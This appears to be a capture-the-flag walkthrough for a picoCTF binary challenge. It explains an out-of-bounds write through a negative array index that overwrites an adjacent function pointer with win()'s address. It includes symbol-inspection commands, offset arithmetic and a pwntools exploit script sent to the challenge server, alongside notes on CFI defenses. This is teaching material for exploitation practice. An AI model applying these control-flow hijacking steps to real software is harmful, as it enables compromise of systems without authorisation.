Description
The binary maintains an array and a global function pointer table in adjacent memory. An out-of-bounds write using a negative index allows overwriting a function pointer with the address of win().
This demonstrates how memory-adjacent data structures can be weaponized when array bounds are not validated.
Setup
Download the binary and examine it in Ghidra to find the global layout.
Calculate the offset between the array base and the function pointer.
Send a negative index and the address of win() to overwrite the pointer.
wget https://artifacts.picoctf.net/c/315/vuln && chmod +x vulnobjdump -t vuln | grep -E 'win|function_pointer|storage'nm vuln | sortSolution
Walk me through it- Step 1Understand the memory layoutThe binary has a global array and a global function pointer near each other. Confirm the architecture first (
file vuln) so you size each array element correctly: 4 bytes for an i386int*, 8 bytes on x86-64. Then list symbols withnmto read the actual addresses and compute the negative index. The numbers below are illustrative - your offsets will differ.bashfile vulnbashnm vuln | grep -E 'function_ptr|array|win'bashgdb -q -ex 'p sizeof(int*)' -ex quit ./vulnLearn more
Global (static) variables in C are placed in the BSS section (zero-initialized) or data section (explicitly initialized). When multiple globals are declared sequentially, the linker often places them adjacently in memory.
nmlists all symbols and their addresses, revealing this layout. The addresses shown below come from one specific build of the binary - re-runnm vuln | grep -E 'function_ptr|array'on your copy and substitute your own numbers before computing the offset.Memory layout (typical). The linker placed
function_ptrjust beforearrayin the data section:address symbol value 0x0804c038 function_ptr = &easy_checker <- TARGET 0x0804c03c ... padding ... 0x0804c060 array[0] <- BASE 0x0804c064 array[1] 0x0804c068 array[2] ... negative offset in elements: (function_ptr - array) / sizeof(int) = (0x0804c038 - 0x0804c060) / 4 = -0x28 / 4 = -10 -> array[-10] aliases *function_ptrC address arithmetic:
array[-10]compiles to*(array + (-10) * sizeof(int)), which is*(array - 40 bytes). The compiler does no bounds check; the negative index resolves to a perfectly valid pointer that just happens to land on the function pointer. Writing througharray[-10] = win_addroverwrites the function pointer.The negative index in elements = (target_address - array_address) / element_size. This is negative when target precedes array, positive when target follows.
- Step 2Calculate the exploit indexCompute offset = (function_ptr_addr - array_addr) / sizeof(element). Enter this as a negative index when the program asks which entry to modify.python
python3 -c " # Replace with values from nm output array_addr = 0x0804c060 # address of the array funptr_addr = 0x0804c038 # address of the function pointer elem_size = 4 # sizeof(int) or sizeof(pointer) offset = (funptr_addr - array_addr) // elem_size print(f'Index to use: {offset}') # negative number "Learn more
When the program prompts "which index to write?" enter the computed negative offset. When it prompts "what value to write?" enter the decimal representation of win()'s address.
Out-of-bounds array indexing with negative indices is a spatial memory safety violation. C does not perform bounds checks on arrays; it is the programmer's responsibility. Languages with bounds checking (Rust, Java, Python) would throw an exception rather than silently writing to adjacent memory.
This type of vulnerability, when affecting a function pointer, is conceptually similar to the classic heap overflow that overwrites a C++ vtable pointer. In both cases, control flow is hijacked by corrupting a pointer that is later called as a function.
- Step 3Trigger the overwritten function pointerAfter writing win()'s address to the function pointer slot, the program will eventually call through that pointer - typically when it asks you to pick another menu option or hit enter to continue. Reply to that next prompt and execution lands inside win() instead of the original handler.python
python3 -c " from pwn import * elf = ELF('./vuln') win_addr = elf.symbols['win'] array_addr = 0x0804c060 funptr_addr = 0x0804c038 offset = (funptr_addr - array_addr) // 4 # negative try: p = remote('saturn.picoctf.net', <PORT_FROM_INSTANCE>) except Exception as e: raise SystemExit(f'remote() failed: {e}') p.sendlineafter(b'index:', str(offset).encode()) p.sendlineafter(b'value:', str(win_addr).encode()) # After the write, the menu loops; one more newline triggers the indirect call. p.sendline(b'') print(p.recvall(timeout=5).decode(errors='replace')) "Learn more
After the write, when the program calls through the function pointer (e.g.,
(*handler)()), it loads win()'s address and jumps to it. The flag is printed.In real-world exploitation, function pointer overwrites are a classic technique. They were historically common in heap exploitation (overwriting
__malloc_hook,__free_hook, or C++ vtables) before modern mitigations like Safe Stack, CFI, and shadow call stacks made them harder.Control Flow Integrity (CFI) is the modern defense: it validates that indirect calls (through function pointers or vtables) jump only to valid targets. LLVM's CFI and Microsoft's Control Flow Guard (CFG) implement this. Without CFI, any writable function pointer is a potential control-flow hijack target.
Flag
picoCTF{0v3rfl0w_pr0t3ct10ns_4r3...}
Calculate the negative index to reach the function pointer from the array, write win()'s address there, then trigger the call to print the flag.